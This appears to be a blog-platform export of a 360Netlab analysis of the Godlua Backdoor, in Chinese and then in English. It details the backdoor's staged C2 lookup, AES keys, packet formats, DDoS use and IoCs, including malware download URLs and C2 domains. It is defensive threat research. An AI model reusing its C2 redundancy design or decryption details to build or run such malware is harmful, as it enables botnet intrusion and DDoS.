C2冗余机制\n\n我们发现它通过硬编码域名和Github项目描述2种方式来存储C2地址，这其实是一种C2冗余机制。\n<a href=\"__GHOST_URL__/content/images/2019/06/v1.PNG\"><img src=\"__GHOST_URL__/content/images/2019/06/v1.PNG\" class=\"kg-image\"/></a>\n\n它的硬编码C2域名是: d.heheda.tk\n<a href=\"__GHOST_URL__/content/images/2019/06/1-1.PNG\"><img src=\"__GHOST_URL__/content/images/2019/06/1-1.PNG\" class=\"kg-image\"/></a>\n\n硬编码Github项目地址，并将C2信息存储在项目描述位置\n<a href=\"__GHOST_URL__/content/images/2019/06/2-4.PNG\"><img src=\"__GHOST_URL__/content/images/2019/06/2-4.PNG\" class=\"kg-image\"/></a>\n\n#### C2指令\n\ncmd_call， 执行Linux系统命令\n <a href=\"__GHOST_URL__/content/images/2019/06/3-3.PNG\"><img src=\"__GHOST_URL__/content/images/2019/06/3-3.PNG\" class=\"kg-image\"/></a>\n\ncmd_shell，执行自定义文件\n<a href=\"__GHOST_URL__/content/images/2019/06/4-3.PNG\"><img src=\"__GHOST_URL__/content/images/2019/06/4-3.PNG\" class=\"kg-image\"/></a>\n\n#### C2协议分析\n\n###### 数据包格式\n| Length | Type | Data |\n| --------------------- | ------- | ----------------- |\n| Little endian,2 bytes | 1 bytes | (Length -3) bytes |\n###### 加密算法\nXOR 的Key是随机产生的16 bytes数据，算法为\n<a href=\"__GHOST_URL__/content/images/2019/06/5-2.PNG\"><img src=\"__GHOST_URL__/content/images/2019/06/5-2.PNG\" class=\"kg-image\"/></a>\n\n#### 数据包概览\n\n###### cmd_handshake\n\n```bash\npacket[0:31]:\n24 00 02 ec 86 a3 23 fb d0 d1 e9 e8 5f 23 6f 6d\n70 b5 95 24 44 e0 fc 2e 00 00 00 6c 69 6e 75 78\n2d 78 38 36\n\nLength:\tpacket[0:1] --->0x0024\nType:\tpacket[2] --->0x02,handshake\nData:\tpacket[3:31]\n Data\n Data[0:15] ---->xor key\n Data[16:23] ---->version,hardcoded,little endian.\n Data[24:31] ---->arch,hardcoded.\n\n```\n\n###### cmd_heartbeat\n\n```bash\npacket[0:10]:\n0b 00 03 87 19 45 cb 91 d1 d1 a9\n\nLength:\t\t packet[0:1] --->0x000b\nType:\t\t packet[2] --->0x03,heartbeat\nData:\t\t packet[3:10] --->xored clock64()\n```\n\n### version 20190415103713 ~ 20190621174731\n\n它是Godlua Backdoor当前活跃版本，主要针对Windows和Linux平台，通过Lua实现主控逻辑并主要支持5种C2指令。\n\n#### 样本信息\n\n###### version 20190415103713 \n* MD5: c9b712f6c347edde22836fb43b927633\n> ELF 64-bit LSB executable, AMD x86-64, version 1 (SYSV), statically linked, stripped\n\n###### version 20190621174731\n* MD5: 75902cf93397d2e2d1797cd115f8347a\n> ELF 64-bit LSB executable, AMD x86-64, version 1 (SYSV), statically linked, stripped\n> \n#### C2冗余机制\n<a href=\"__GHOST_URL__/content/images/2019/06/godlua.PNG\"><img src=\"__GHOST_URL__/content/images/2019/06/godlua.PNG\" class=\"kg-image\"/></a>\n\n\n#### Stage-1 URL\n\nStage-1 URL存储有3种冗余机制，分别是将该信息通过硬编码密文，Github项目描述和Pastebin文本存储。在解密得到Stage-1 URL后会下载start.png文件，它实际上是Lua字节码。Bot会把它加载到内存中并运行然后获取Stage-2 URL。\n\n###### 加密算法\n\n* AES，CBC模式\n* key：13 21 02 00 31 21 94 E2 F2 F1 35 61 93 4C 4D 6A \n* iv：2B 7E 15 16 28 AE D2 01 AB F7 15 02 00 CF 4F 3C \n\n###### 硬编码密文\n\n**version 20190415103713**\n * AES密文：03 13 84 29 CC 8B A5 CA AB 05 9E 2F CB AF 5E E6 02 5A 5F 17 74 34 64 EA 5B F1 38 5B 8D B9 A5 3E\n * Stage-1 URL明文：```https://d.heheda.tk/%s.png``` \n\n**version 20190621174731**\n * AES密文：F1 40 DB B4 E1 29 D9 DC 8D 78 45 B9 37 2F 83 47 F1 32 3A 11 01 41 07 CD DB A3 7B 1F 44 A7 DE 6C 2C 81 0E 10 E9 D8 E1 03 38 68 FC 51 81 62 11 DD\n * Stage-1 URL明文数据：```https://img0.cloudappconfig.com/%s.png``` \n\n###### Github项目描述\n * AES密文：EC 76 44 29 59 3D F7 EE B3 01 90 A9 9C 47 C8 96 53 DE 86 CB DF 36 68 41 60 5C FA F5 64 60 5A E4 AE 95 C3 F5 A6 04 47 CB 26 47 A2 23 80 C6 5F 92 \n * Github URL明文：```https://api.github.com/repos/helegedada/heihei``` \n * 解密流程:\n <a href=\"__GHOST_URL__/content/images/2019/06/8-2.PNG\"><img src=\"__GHOST_URL__/content/images/2019/06/8-2.PNG\" class=\"kg-image\"/></a>\n * Github项目描述密文: oTre1RVbmjqRn2kRrv4SF/l2WfMRn2gEHpqJz77btaDPlO0R9CdQtMM82uAes+Fb\n * Stage-1 URL明文数据：```https://img1.cloudappconfig.com/%s.png```\n\n\n###### Pastebin文本\n * AES密文：19 31 21 32 BF E8 29 A8 92 F7 7C 0B DF DC 06 8E 8E 49 F0 50 9A 45 6C 53 77 69 2F 68 48\n DC 7F 28 16 EB 86 B3 50 20 D3 01 9D 23 6C A1 33 62 EC 15 \n * Pastebin URL明文：```https://pastebin.com/raw/vSDzq3Md``` \n * 解密流程:\n<a href=\"__GHOST_URL__/content/images/2019/06/9.PNG\"><img src=\"__GHOST_URL__/content/images/2019/06/9.PNG\" class=\"kg-image\"/></a>\n * Pastebin 文本密文：G/tbLY0TsMUnC+iO9aYm9yS2eayKlKLQyFPOaNxSCnZpBw4RLGnJOPcZXHaf/aoj\n * Stage-1 URL明文数据：```https://img2.cloudappconfig.com/%s.png```\n\n\n\n\n#### Stage-2 URL\nStage-2 URL存储有2种冗余机制，分别是将该信息通过Github项目文件和DNS TXT存储。在解密得到Stage-2 URL后会下载run.png文件，它也是Lua字节码。Bot会把它加载到内存中并运行然后获取Stage-3 C2。\n\n###### 加密算法\n* AES，CBC模式\n* key：22 85 16 13 57 2d 17 90 2f 00 49 18 5f 17 2b 0a \n* iv：0d 43 36 41 86 41 21 d2 41 4e 62 00 41 19 4a 5c \n\n###### Github项目文件\n* Github URL明文存储在Lua字节码文件中（start.png），通过反汇编得到以下信息：\n<a href=\"__GHOST_URL__/content/images/2019/06/a-2.PNG\"><img src=\"__GHOST_URL__/content/images/2019/06/a-2.PNG\" class=\"kg-image\"/></a>\n* Github 文件密文：\nkI7xf+Q/fXC0UT6hCUNimtcH45gPgG9i+YbNnuDyHyh2HJqzBFQStPvHGCZH8Yoz9w02njr41wdl5VNlPCq18qTZUVco5WrA1EIg3zVOcY8=\n* Stage-2 URL明文数据：```{\"u\":\"https:\\/\\/dd.heheda.tk\\/%s.png\",\"c\":\"dd.heheda.tk::198.204.231.250:\"}```\n\n###### DNS TXT\n* DNS TXT信息存储在Lua字节码文件中（start.png），通过反汇编得到以下信息：\n<a href=\"__GHOST_URL__/content/images/2019/06/b-2.PNG\"><img src=\"__GHOST_URL__/content/images/2019/06/b-2.PNG\" class=\"kg-image\"/></a>\n* 通过DNS over HTTPS请求获取DNS TXT记录：\n<a href=\"__GHOST_URL__/content/images/2019/06/dnstxt.PNG\"><img src=\"__GHOST_URL__/content/images/2019/06/dnstxt.PNG\" class=\"kg-image\"/></a>\n* DNS TXT密文： 6TmRMwDw5R/sNSEhjCByEw0Vb44nZhEUyUpUR4LcijfIukjdAv+vqqMuYOFAoOpC7Ktyyr6nUOqO9XnDpudVmbGoTeJD6hYrw72YmiOS9dX5M/sPNmsw/eY/XDYYzx5/\n* Stage-2 URL明文数据：```{\"u\":\"http:\\/\\/img1.cloudappconfig.com\\/%s.png\",\"c\":\"img1.cloudappconfig.com::43.224.225.220:\"}```\n\n#### Stage-3 C2\nStage-3 C2硬编码在Lua字节码文件中（run.png），通过反汇编得到以下信息\n\n**version 20190415103713**\n<a href=\"__GHOST_URL__/content/images/2019/06/c-2.PNG\"><img src=\"__GHOST_URL__/content/images/2019/06/c-2.PNG\" class=\"kg-image\"/></a>\n\n**version 20190621174731**\n<a href=\"__GHOST_URL__/content/images/2019/06/d-2.PNG\"><img src=\"__GHOST_URL__/content/images/2019/06/d-2.PNG\" class=\"kg-image\"/></a>\n\n###### 通过DNS Over HTTPS请求获取C2域名A记录\n<a href=\"__GHOST_URL__/content/images/2019/06/e.PNG\"><img src=\"__GHOST_URL__/content/images/2019/06/e.PNG\" class=\"kg-image\"/></a>\n\n###### C2指令\n```\n| CMD | Type |\n| --------- | ---- |\n| HANDSHAKE | 1 |\n| HEARTBEAT | 2 |\n| LUA | 3 |\n| SHELL | 4 |\n| UPGRADE | 5 |\n| QUIT | 6 |\n| SHELL2 | 7 |\n| PROXY | 8 |\n```\n###### C2协议分析\n数据包格式\n| Type | Length | Data |\n| ----- | ------------------ | ------------ |\n| 1byte | Big endian,2 bytes | Length bytes |\n\n###### 数据包概览\n* HANDSHAKE\n<a href=\"__GHOST_URL__/content/images/2019/06/f.PNG\"><img src=\"__GHOST_URL__/content/images/2019/06/f.PNG\" class=\"kg-image\"/></a>\n\n```\nType:\tpacket[0]\t\t--->0x01,HANDSHAKE\nLENGTH:\tpacket[1:2]\t\t--->0x0010\nData:\tpacket[3:end]\n data[0:7]\t\t\t--->Session\n data[8:end]\t\t\t--->version,0x00125cfecd8bcb->20190621174731\n```\n\n* HEARTBEAT\n<a href=\"__GHOST_URL__/content/images/2019/06/g.PNG\"><img src=\"__GHOST_URL__/content/images/2019/06/g.PNG\" class=\"kg-image\"/></a>\n\n ```\n Send:\n \tType: \t\t\tpacket[0] --->0x02,HEARTBEAT\n \tLength:\t\t\tpacket[1:2] --->0x4\n \tData:\t\t\tpacket[3:end] --->time,0x5d13779b,1561556891\n Replay:\n \tType:\t\t\tpacket[0] --->0x02,HEARTBEAT\n \tLength:\t\t\tpacket[1:2] --->0x4\n \tData:\t\t\tpacket[3:end] --->1561556891\n ```\n\n* LUA Payload\n<a href=\"__GHOST_URL__/content/images/2019/06/h.PNG\"><img src=\"__GHOST_URL__/content/images/2019/06/h.PNG\" class=\"kg-image\"/></a>\n\n ```\n Type: packet[0] --->0x03,LUA\n Length: packet[1:2] --->0x00ab\n Data: packet[3:end] --->Lua script\n ```\n我们可以观察到攻击者正在对www.liuxiaobei.top进行HTTP Flood攻击\n<a href=\"__GHOST_URL__/content/images/2019/06/j.PNG\"><img src=\"__GHOST_URL__/content/images/2019/06/j.PNG\" class=\"kg-image\"/></a>\n\n#### Lua脚本分析 \nGodlua Backdoor Bot样本在运行中会下载许多Lua脚本，可以分为运行，辅助，攻击3大类\n* 运行：start.png,run.png,quit.png,watch.png,upgrade.png,proxy.png\n* 辅助：packet.png,curl.png,util.png,utils.png\n* 攻击：VM.png,CC.png\n\n###### 加密算法\n* AES，CBC模式\n* key：13 21 02 00 31 21 94 E2 F2 F1 35 61 93 4C 4D 6A \n* iv：2B 7E 15 16 28 AE D2 01 AB F7 15 02 00 CF 4F 3C \n\n###### Lua幻数\n解密后的文件以upgrade.png为例，是pre-compiled code,高亮部分为文件头。\n<a href=\"__GHOST_URL__/content/images/2019/06/k.PNG\"><img src=\"__GHOST_URL__/content/images/2019/06/k.PNG\" class=\"kg-image\"/></a>\n可以发现幻数从Lua变成了God，虽然样本中有\"$LuaVersion: God 5.1.4 C$$LuaAuthors: R. $\"字串，但事实上，所采用的版本并不是5.1.4，具体版本无法确定，但可以肯定的是大于5.2。\n\n###### 反编译\n为了反编译上述脚本，必须知道样本对Lua进行了哪些修改。经过分析，修改分为两大块，分别是：Lua Header 和 Lua Opcode。\n\n通过Luadec[[1\\]](https://github.com/viruscamp/luadec)反编译效果图\n<a href=\"__GHOST_URL__/content/images/2019/06/l.PNG\"><img src=\"__GHOST_URL__/content/images/2019/06/l.PNG\" class=\"kg-image\"/></a>\n\n\n#### 处置建议\n我们还没有完全看清楚Godlua Backdoor的传播途径，但我们知道一些Linux用户是通过Confluence漏洞利用（CVE-2019-3396）感染的。如果我们的读者有更多的信息，欢迎联系我们。\n我们建议读者对Godluad Backdoor相关IP，URL和域名进行监控和封锁。\n\n\n#### 联系我们\n\n感兴趣的读者，可以在 [**twitter**](https://twitter.com/360Netlab) 或者在微信公众号 **360Netlab** 上联系我们。\n\n\n#### IoC list\n样本MD5\n```\n870319967dba4bd02c7a7f8be8ece94f\nc9b712f6c347edde22836fb43b927633\n75902cf93397d2e2d1797cd115f8347a\n```\n\nURL\n```\nhttps://helegedada.github.io/test/test\nhttps://api.github.com/repos/helegedada/heihei\nhttp://198.204.231.250/linux-x64\nhttp://198.204.231.250/linux-x86\nhttps://dd.heheda.tk/i.jpg\nhttps://dd.heheda.tk/i.sh\nhttps://dd.heheda.tk/x86_64-static-linux-uclibc.jpg\nhttps://dd.heheda.tk/i686-static-linux-uclibc.jpg\nhttps://dd.cloudappconfig.com/i.jpg\nhttps://dd.cloudappconfig.com/i.sh\nhttps://dd.cloudappconfig.com/x86_64-static-linux-uclibc.jpg\nhttps://dd.cloudappconfig.com/arm-static-linux-uclibcgnueabi.jpg\nhttps://dd.cloudappconfig.com/i686-static-linux-uclibc.jpg\nhttp://d.cloudappconfig.com/i686-w64-mingw32/Satan.exe\nhttp://d.cloudappconfig.com/x86_64-static-linux-uclibc/Satan\nhttp://d.cloudappconfig.com/i686-static-linux-uclibc/Satan\nhttp://d.cloudappconfig.com/arm-static-linux-uclibcgnueabi/Satan\nhttps://d.cloudappconfig.com/mipsel-static-linux-uclibc/Satan\n```\n\nC2 Domain\n```\nd.heheda.tk\ndd.heheda.tk\nc.heheda.tk\nd.cloudappconfig.com\ndd.cloudappconfig.com\nc.cloudappconfig.com\nf.cloudappconfig.com\nt.cloudappconfig.com\nv.cloudappconfig.com\nimg0.cloudappconfig.com\nimg1.cloudappconfig.com\nimg2.cloudappconfig.com\n```\n\nIP\n```\n198.204.231.250 \tUnited States \tASN 33387 \tDataShack, LC \n104.238.151.101 \tJapan \tASN 20473 \tChoopa, LLC \n43.224.225.220 \tHong Kong \tASN 22769 \tDDOSING NETWORK \n```"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 5d15d12f0bbc140007c57c2b |
post | null | 2019-06-28T09:12:36.000Z | 63873b9a8b1c1e0007f52f51 | untitled-12 | 0 | 2019-06-28T09:12:36.000Z | public | draft | null | null | (Untitled) | null | null | {"version":"0.3.1","markups":[],"atoms":[],"cards":[],"sections":[[1,"p",[[0,[],0,""]]]],"ghostVersion":"3.0"} | 5d15da040bbc140007c57cb4 |
post | null | 2019-07-01T04:11:22.000Z | 63873b9a8b1c1e0007f52f52 | an-analysis-of-godlua-backdoor-en | 0 | 2022-02-09T07:11:55.000Z | public | published | null | 2019-07-01T10:15:25.000Z | An Analysis of Godlua Backdoor | <!--kg-card-begin: markdown--><h3 id="background">Background</h3>
<p>On April 24, 2019, our Unknown Threat Detection System highlighted a suspicious ELF file which was marked by a few vendors as mining related trojan on VT. We cannot confirm it has mining related module, but we do see it starts to perform DDoS function recently.</p>
<p>The file itself is a Lua-based Backdoor, we named it Godlua Backdoor as the Lua byte-code file loaded by this sample has a magic number of “God”.</p>
<p>Godlua Backdoor has a redundant communication mechanism for C2 connection, a combination of hardcoded dns name, Pastebin.com, GitHub.com as well as DNS TXT are used to store the C2 address, which is not something we see often. At the same time, it uses HTTPS to download Lua byte-code files, and uses DNS over HTTPS to get the C2 name to ensure secure communication between the bots, the Web Server and the C2.</p>
<p>We noticed that there are already 2 versions of Godlua Backdoor and there are ongoing updates. We also observed that attackers has been using Lua command to run Lua code dynamically and initiate HTTP Flood attacks targeting some websites.</p>
<h3 id="overview">Overview</h3>
<p>At present, we see that there are two versions of Godlua. Version 201811051556 is obtained by traversing Godlua download servers and there has been no update on it. Version 20190415103713 ~ 2019062117473 is active and is actively being updated. They are all written in C, but the active one supports more computer platforms and more features. The following is a comparison.<br>
<a href="__GHOST_URL__/content/images/2019/06/brief.PNG"><img src="__GHOST_URL__/content/images/2019/06/brief.PNG" class="kg-image"/></a></p>
<h3 id="godluabackdoorreverseanalysis">Godlua Backdoor Reverse Analysis</h3>
<h3 id="version201811051556">version 201811051556</h3>
<p>This is the version we found earlier (201811051556). It focuses on the Linux platform and supports two kinds of C2 instructions, to execute Linux system commands and to run custom files.</p>
<h4 id="sampleinformation">Sample information</h4>
<ul>
<li>MD5: 870319967dba4bd02c7a7f8be8ece94f</li>
</ul>
<blockquote>
<p>ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.6.32, dynamically linked (uses shared libs), for GNU/Linux 2.6.32, stripped</p>
</blockquote>
<h4 id="c2redundantmechanism">C2 redundant mechanism</h4>
<p>This version perform C2 communications in two ways, hardcoded domain name and Github link.<br>
<a href="__GHOST_URL__/content/images/2019/06/v1.PNG"><img src="__GHOST_URL__/content/images/2019/06/v1.PNG" class="kg-image"/></a></p>
<p>Its hardcoded C2 domain is: d.heheda.tk<br>
<a href="__GHOST_URL__/content/images/2019/06/1-1.PNG"><img src="__GHOST_URL__/content/images/2019/06/1-1.PNG" class="kg-image"/></a></p>
<p>It also has a Github page and the real C2 address is in the project description.<br>
<a href="__GHOST_URL__/content/images/2019/06/2-4.PNG"><img src="__GHOST_URL__/content/images/2019/06/2-4.PNG" class="kg-image"/></a></p>
<h4 id="c2instruction">C2 instruction</h4>
<p>cmd_call, execute Linux system commands<br>
<a href="__GHOST_URL__/content/images/2019/06/3-3.PNG"><img src="__GHOST_URL__/content/images/2019/06/3-3.PNG" class="kg-image"/></a></p>
<p>cmd_shell, execute custom file<br>
<a href="__GHOST_URL__/content/images/2019/06/4-3.PNG"><img src="__GHOST_URL__/content/images/2019/06/4-3.PNG" class="kg-image"/></a></p>
<h4 id="c2protocolanalysis">C2 protocol analysis</h4>
<h6 id="packetformat">Packet format</h6>
<table>
<thead>
<tr>
<th>Length</th>
<th>Type</th>
<th>Data</th>
</tr>
</thead>
<tbody>
<tr>
<td>Little endian,2 bytes</td>
<td>1 bytes</td>
<td>(Length -3) bytes</td>
</tr>
</tbody>
</table>
<h6 id="encryptionalgorithm">Encryption Algorithm</h6>
<p>XOR’s Key is randomly generated of 16 bytes of data, the algorithm is as follow:<br>
<a href="__GHOST_URL__/content/images/2019/06/5-2.PNG"><img src="__GHOST_URL__/content/images/2019/06/5-2.PNG" class="kg-image"/></a></p>
<h4 id="packetoverview">Packet Overview</h4>
<h6 id="cmd_handshake">cmd_handshake</h6>
<pre><code class="language-bash">packet[0:31]:
24 00 02 ec 86 a3 23 fb d0 d1 e9 e8 5f 23 6f 6d
70 b5 95 24 44 e0 fc 2e 00 00 00 6c 69 6e 75 78
2d 78 38 36
Length: packet[0:1] --->0x0024
Type: packet[2] --->0x02,handshake
Data: packet[3:31]
Data
Data[0:15] ---->xor key
Data[16:23] ---->version,hardcoded,little endian.
Data[24:31] ---->arch,hardcoded.
</code></pre>
<h6 id="cmd_heartbeat">cmd_heartbeat</h6>
<pre><code class="language-bash">packet[0:10]:
0b 00 03 87 19 45 cb 91 d1 d1 a9
Length: packet[0:1] --->0x000b
Type: packet[2] --->0x03,heartbeat
Data: packet[3:10] --->xored clock64()
</code></pre>
<h3 id="version2019041510371320190621174731">version 20190415103713 ~ 20190621174731</h3>
<p>This active version runs on both Windows and Linux.<br>
The control module is implemented in Lua and five C2 commands are supported</p>
<h4 id="sampleinformation">Sample information</h4>
<h6 id="version20190415103713">version 20190415103713</h6>
<ul>
<li>MD5: c9b712f6c347edde22836fb43b927633</li>
</ul>
<blockquote>
<p>ELF 64-bit LSB executable, AMD x86-64, version 1 (SYSV), statically linked, stripped</p>
</blockquote>
<h6 id="version20190621174731">version 20190621174731</h6>
<ul>
<li>MD5: 75902cf93397d2e2d1797cd115f8347a</li>
</ul>
<blockquote>
<p>ELF 64-bit LSB executable, AMD x86-64, version 1 (SYSV), statically linked, stripped</p>
</blockquote>
<h4 id="c2redundantmechanism">C2 redundant mechanism</h4>
<p><a href="__GHOST_URL__/content/images/2019/06/godlua.PNG"><img src="__GHOST_URL__/content/images/2019/06/godlua.PNG" class="kg-image"/></a></p>
<h4 id="stage1url">Stage-1 URL</h4>
<p>The backdoor uses 3 different ways to store the Stage-1 URL. hardcoded ciphertext, Github project description, and Pastebin text.<br>
After the Stage-1 URL is retrieved and decrypted, a start.png file will be downloaded, which is actually a Lua bytecode.<br>
The Bot then loads it into memory and executes it to get the Stage-2 URL.</p>
<h6 id="encryptionalgorithm">Encryption Algorithm</h6>
<ul>
<li>AES，CBC Mode</li>
<li>key：13 21 02 00 31 21 94 E2 F2 F1 35 61 93 4C 4D 6A</li>
<li>iv：2B 7E 15 16 28 AE D2 01 AB F7 15 02 00 CF 4F 3C</li>
</ul>
<h6 id="hardcodedciphertext">Hard coded ciphertext</h6>
<p><strong>version 20190415103713</strong></p>
<ul>
<li>AES ciphertext：03 13 84 29 CC 8B A5 CA AB 05 9E 2F CB AF 5E E6 02 5A 5F 17 74 34 64 EA 5B F1 38 5B 8D B9 A5 3E</li>
<li>Stage-1 URL plaintext：<code>https://d.heheda.tk/%s.png</code></li>
</ul>
<p><strong>version 20190621174731</strong></p>
<ul>
<li>AES ciphertext：F1 40 DB B4 E1 29 D9 DC 8D 78 45 B9 37 2F 83 47 F1 32 3A 11 01 41 07 CD DB A3 7B 1F 44 A7 DE 6C 2C 81 0E 10 E9 D8 E1 03 38 68 FC 51 81 62 11 DD</li>
<li>Stage-1 URL plaintext：<code>https://img0.cloudappconfig.com/%s.png</code></li>
</ul>
<h6 id="githubprojectdescription">Github project description</h6>
<ul>
<li>AES ciphertext：EC 76 44 29 59 3D F7 EE B3 01 90 A9 9C 47 C8 96 53 DE 86 CB DF 36 68 41 60 5C FA F5 64 60 5A E4 AE 95 C3 F5 A6 04 47 CB 26 47 A2 23 80 C6 5F 92</li>
<li>Github URL plaintext：<code>https://api.github.com/repos/helegedada/heihei</code></li>
<li>Decryption Process:<br>
<a href="__GHOST_URL__/content/images/2019/06/8-2.PNG"><img src="__GHOST_URL__/content/images/2019/06/8-2.PNG" class="kg-image"/></a></li>
<li>Project description ciphertext: oTre1RVbmjqRn2kRrv4SF/l2WfMRn2gEHpqJz77btaDPlO0R9CdQtMM82uAes+Fb</li>
<li>Stage-1 URL plaintext：<code>https://img1.cloudappconfig.com/%s.png</code></li>
</ul>
<h6 id="pastebintext">Pastebin text</h6>
<ul>
<li>AES ciphertext：19 31 21 32 BF E8 29 A8 92 F7 7C 0B DF DC 06 8E 8E 49 F0 50 9A 45 6C 53 77 69 2F 68 48<br>
DC 7F 28 16 EB 86 B3 50 20 D3 01 9D 23 6C A1 33 62 EC 15</li>
<li>Pastebin URL plaintext：<code>https://pastebin.com/raw/vSDzq3Md</code></li>
<li>Decryption Process:<br>
<a href="__GHOST_URL__/content/images/2019/06/9.PNG"><img src="__GHOST_URL__/content/images/2019/06/9.PNG" class="kg-image"/></a></li>
<li>Pastebin Ciphertext: G/tbLY0TsMUnC+iO9aYm9yS2eayKlKLQyFPOaNxSCnZpBw4RLGnJOPcZXHaf/aoj</li>
<li>Stage-1 URL plaintext：<code>https://img2.cloudappconfig.com/%s.png</code></li>
</ul>
<h4 id="stage2url">Stage-2 URL</h4>
<p>Here at stage-2, two mechanisms are being used for storing the Stage-2 URL, Github project file and DNS over HTTPS.<br>
After the Stage-2 URL is retrieved and decrypted, a run.png file, also a Lua bytecode, will be downloaded.<br>
Bot will load this file into memory and run it to get Stage-3 C2.</p>
<h6 id="encryptionalgorithm">Encryption Algorithm</h6>
<ul>
<li>AES，CBC Mode</li>
<li>key：22 85 16 13 57 2d 17 90 2f 00 49 18 5f 17 2b 0a</li>
<li>iv：0d 43 36 41 86 41 21 d2 41 4e 62 00 41 19 4a 5c</li>
</ul>
<h6 id="githubprojectfile">Github project file</h6>
<ul>
<li>Github URL is stored in the Lua byte-code file (start.png) in plaintext. We get the following information by disassembling it：<br>
<a href="__GHOST_URL__/content/images/2019/06/a-2.PNG"><img src="__GHOST_URL__/content/images/2019/06/a-2.PNG" class="kg-image"/></a></li>
<li>Github project file ciphertext: kI7xf+Q/fXC0UT6hCUNimtcH45gPgG9i+YbNnuDyHyh2HJqzBFQStPvHGCZH8Yoz9w02njr41wdl5VNlPCq18qTZUVco5WrA1EIg3zVOcY8=</li>
<li>Stage-2 URL plaintext：<code>{"u":"https:\/\/dd.heheda.tk\/%s.png","c":"dd.heheda.tk::198.204.231.250:"}</code></li>
</ul>
<h6 id="dnstxt">DNS TXT</h6>
<ul>
<li>DNS TXT is stored in the Lua byte-code file (start.png) in plaintext. We get the following information by disassembling it：<br>
<a href="__GHOST_URL__/content/images/2019/06/b-2.PNG"><img src="__GHOST_URL__/content/images/2019/06/b-2.PNG" class="kg-image"/></a></li>
<li>DNS over HTTPS Request：<br>
<a href="__GHOST_URL__/content/images/2019/06/dnstxt.PNG"><img src="__GHOST_URL__/content/images/2019/06/dnstxt.PNG" class="kg-image"/></a></li>
<li>DNS TXT ciphertext: 6TmRMwDw5R/sNSEhjCByEw0Vb44nZhEUyUpUR4LcijfIukjdAv+vqqMuYOFAoOpC7Ktyyr6nUOqO9XnDpudVmbGoTeJD6hYrw72YmiOS9dX5M/sPNmsw/eY/XDYYzx5/</li>
<li>Stage-2 URL plaintext：<code>{"u":"http:\/\/img1.cloudappconfig.com\/%s.png","c":"img1.cloudappconfig.com::43.224.225.220:"}</code></li>
</ul>
<h4 id="stage3c2">Stage-3 C2</h4>
<p>Stage-3 C2 is hardcoded in the Lua byte-code file (run.png). We disassembled it to get the following information.</p>
<p><strong>version 20190415103713</strong><br>
<a href="__GHOST_URL__/content/images/2019/06/c-2.PNG"><img src="__GHOST_URL__/content/images/2019/06/c-2.PNG" class="kg-image"/></a></p>
<p><strong>version 20190621174731</strong><br>
<a href="__GHOST_URL__/content/images/2019/06/d-2.PNG"><img src="__GHOST_URL__/content/images/2019/06/d-2.PNG" class="kg-image"/></a></p>
<h6 id="dnsoverhttpsrequest">DNS Over HTTPS Request</h6>
<p><a href="__GHOST_URL__/content/images/2019/06/e.PNG"><img src="__GHOST_URL__/content/images/2019/06/e.PNG" class="kg-image"/></a></p>
<h6 id="c2instruction">C2 instruction</h6>
<pre><code>| CMD | Type |
| --------- | ---- |
| HANDSHAKE | 1 |
| HEARTBEAT | 2 |
| LUA | 3 |
| SHELL | 4 |
| UPGRADE | 5 |
| QUIT | 6 |
| SHELL2 | 7 |
| PROXY | 8 |
</code></pre>
<h6 id="c2protocolanalysis">C2 protocol analysis</h6>
<p>Packet format</p>
<table>
<thead>
<tr>
<th>Type</th>
<th>Length</th>
<th>Data</th>
</tr>
</thead>
<tbody>
<tr>
<td>1byte</td>
<td>Big endian,2 bytes</td>
<td>Length bytes</td>
</tr>
</tbody>
</table>
<h6 id="packetoverview">Packet overview</h6>
<ul>
<li>HANDSHAKE<br>
<a href="__GHOST_URL__/content/images/2019/06/f.PNG"><img src="__GHOST_URL__/content/images/2019/06/f.PNG" class="kg-image"/></a></li>
</ul>
<pre><code>Type: packet[0] --->0x01,HANDSHAKE
LENGTH: packet[1:2] --->0x0010
Data: packet[3:end]
data[0:7] --->Session
data[8:end] --->version,0x00125cfecd8bcb->20190621174731
</code></pre>
<ul>
<li>
<p>HEARTBEAT<br>
<a href="__GHOST_URL__/content/images/2019/06/g.PNG"><img src="__GHOST_URL__/content/images/2019/06/g.PNG" class="kg-image"/></a></p>
<pre><code>Send:
Type: packet[0] --->0x02,HEARTBEAT
Length: packet[1:2] --->0x4
Data: packet[3:end] --->time,0x5d13779b,1561556891
Replay:
Type: packet[0] --->0x02,HEARTBEAT
Length: packet[1:2] --->0x4
Data: packet[3:end] --->1561556891
</code></pre>
</li>
<li>
<p>LUA Payload<br>
<a href="__GHOST_URL__/content/images/2019/06/h.PNG"><img src="__GHOST_URL__/content/images/2019/06/h.PNG" class="kg-image"/></a></p>
<pre><code>Type: packet[0] --->0x03,LUA
Length: packet[1:2] --->0x00ab
Data: packet[3:end] --->Lua script
</code></pre>
</li>
</ul>
<p>We observe the attacker performing a HTTP Flood attack against www.liuxiaobei.com.<br>
<a href="__GHOST_URL__/content/images/2019/06/j.PNG"><img src="__GHOST_URL__/content/images/2019/06/j.PNG" class="kg-image"/></a></p>
<h4 id="luascriptanalysis">Lua script analysis</h4>
<p>The Bot sample downloads many Lua scripts when executing, and the scripts can be broken down to three categories: execute, auxiliary, and attack.</p>
<ul>
<li>execute: start.png,run.png,quit.png,watch.png,upgrade.png,proxy.png</li>
<li>auxiliary: packet.png,curl.png,util.png,utils.png</li>
<li>attack: VM.png,CC.png</li>
</ul>
<h6 id="encryptionalgorithm">Encryption Algorithm</h6>
<ul>
<li>AES，CBC Mode</li>
<li>key：13 21 02 00 31 21 94 E2 F2 F1 35 61 93 4C 4D 6A</li>
<li>iv：2B 7E 15 16 28 AE D2 01 AB F7 15 02 00 CF 4F 3C</li>
</ul>
<h6 id="luamagicnumber">Lua magic number</h6>
<p>The decrypted files are all pre-compiled, take upgrade.png as an example, note the highlighted part is the file header.<br>
<a href="__GHOST_URL__/content/images/2019/06/k.PNG"><img src="__GHOST_URL__/content/images/2019/06/k.PNG" class="kg-image"/></a>You can see that the magic number has changed from “Lua” to “God”.</p>
<p>The malware author also seems to set a trap for researcher here by manually changing the LuaVerion number in the sample to 5.1.4 ($LuaVersion: God 5.1.4 C$$LuaAuthors: R. $). We think the real version should be definitely newer than 5.2.</p>
<h6 id="decompile">Decompile</h6>
<p>In order to decompile the above script, we have to know what changes have been made to Lua. After some analysis, we concluded that the modification can be divided into two major sections: Lua Header and Lua Opcode.</p>
<p>Decompiled by Luadec[<a href="https://github.com/viruscamp/luadec">1]</a><br>
